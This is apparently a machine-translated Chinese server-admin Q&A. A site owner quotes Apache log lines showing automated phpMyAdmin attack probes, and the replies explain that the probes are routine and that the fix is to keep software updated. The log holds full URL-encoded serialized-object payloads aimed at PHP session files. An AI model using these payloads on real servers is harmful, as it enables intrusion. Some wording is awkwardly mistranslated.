所以我注意到,我的apache访问日志充满了这些:
180.179.206.84 - - [06/Feb/2013:14:35:45 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=a58cd3820282165c43b7443e856c2f48&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A46%3A%22%2Fvar%2Ftmp%2Fsess_8r1hlgbmtrh26f9fnhoor7p32dgfvcfc%22%3B%7D%7D HTTP/1.1" 200 210 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:46 -0500] "GET /phpmyadmin/index.php/index.php?token=a58cd3820282165c43b7443e856c2f48 HTTP/1.1" 200 8127 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:47 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=a58cd3820282165c43b7443e856c2f48&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A50%3A%22%2Fvar%2Flib%2Fphp%2Fsess_8r1hlgbmtrh26f9fnhoor7p32dgfvcfc%22%3B%7D%7D HTTP/1.1" 200 210 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:47 -0500] "GET /phpmyadmin/index.php/index.php?token=a58cd3820282165c43b7443e856c2f48 HTTP/1.1" 200 8127 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:48 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=a58cd3820282165c43b7443e856c2f48&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A51%3A%22%2Fvar%2Flib%2Fphp4%2Fsess_8r1hlgbmtrh26f9fnhoor7p32dgfvcfc%22%3B%7D%7D HTTP/1.1" 200 210 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:48 -0500] "GET /phpmyadmin/index.php/index.php?token=a58cd3820282165c43b7443e856c2f48 HTTP/1.1" 200 8127 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:49 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=a58cd3820282165c43b7443e856c2f48&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A51%3A%22%2Fvar%2Flib%2Fphp5%2Fsess_8r1hlgbmtrh26f9fnhoor7p32dgfvcfc%22%3B%7D%7D HTTP/1.1" 200 210 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:50 -0500] "GET /phpmyadmin/index.php/index.php?token=a58cd3820282165c43b7443e856c2f48 HTTP/1.1" 200 8127 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:50 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=a58cd3820282165c43b7443e856c2f48&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A58%3A%22%2Fvar%2Flib%2Fphp%2Fsession%2Fsess_8r1hlgbmtrh26f9fnhoor7p32dgfvcfc%22%3B%7D%7D HTTP/1.1" 200 210 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:51 -0500] "GET /phpmyadmin/index.php/index.php?token=a58cd3820282165c43b7443e856c2f48 HTTP/1.1" 200 8127 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:52 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=a58cd3820282165c43b7443e856c2f48&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A59%3A%22%2Fvar%2Flib%2Fphp4%2Fsession%2Fsess_8r1hlgbmtrh26f9fnhoor7p32dgfvcfc%22%3B%7D%7D HTTP/1.1" 200 210 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:52 -0500] "GET /phpmyadmin/index.php/index.php?token=a58cd3820282165c43b7443e856c2f48 HTTP/1.1" 200 8127 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:53 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=a58cd3820282165c43b7443e856c2f48&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A59%3A%22%2Fvar%2Flib%2Fphp5%2Fsession%2Fsess_8r1hlgbmtrh26f9fnhoor7p32dgfvcfc%22%3B%7D%7D HTTP/1.1" 200 210 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:53 -0500] "GET /phpmyadmin/index.php/index.php?token=a58cd3820282165c43b7443e856c2f48 HTTP/1.1" 200 8127 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:54 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=a58cd3820282165c43b7443e856c2f48&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A53%3A%22%2Fshared%2Fsessionssess_8r1hlgbmtrh26f9fnhoor7p32dgfvcfc%22%3B%7D%7D HTTP/1.1" 200 210 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:55 -0500] "GET /phpmyadmin/index.php/index.php?token=a58cd3820282165c43b7443e856c2f48 HTTP/1.1" 200 8127 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8" 180.179.206.84 - - [06/Feb/2013:14:35:55 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=a58cd3820282165c43b7443e856c2f48&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A55%3A%22%2Fvar%2Fphp_sessions%2Fsess_8r1hlgbmtrh26f9fnhoor7p32dgfvcfc%22%3B%7D%7D HTTP/1.1" 200 210 "http://50.116.55.81/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
看起来地址不是真的在做任何有害的事情,但看起来他们正在试图破坏一些东西。 这些知识产权来自意大利和印度各地。 注意User-agent是Firefox的老版本(虽然我知道这很容易被欺骗)。 我注意到一个持续20kbps的入站stream量到我的个人站点(实际上从来没有看到stream量,只是好奇,如果任何人有任何关于他们在这里试图做的具体攻击的见解或信息,我可以禁止IP,但有一大堆来自不同的地方,所以我觉得它可能有点无用。
任何公共服务器都会看到这些尝试(以及更多针对其他通常安装的软件)。 它们是自动化的,通常是从海外/ Tor /僵尸networking完成的,而且有足够的人试图阻止IP本质上是无用的。
是的,他们是恶意的,但是不是,他们真的不值得被淘汰。
这些通常针对古代版本的东西,如phpMyAdmin,WordPress的,Drupal,和其他常见的工具与已知的漏洞 – 保持你的第三方代码更新,你应该没问题。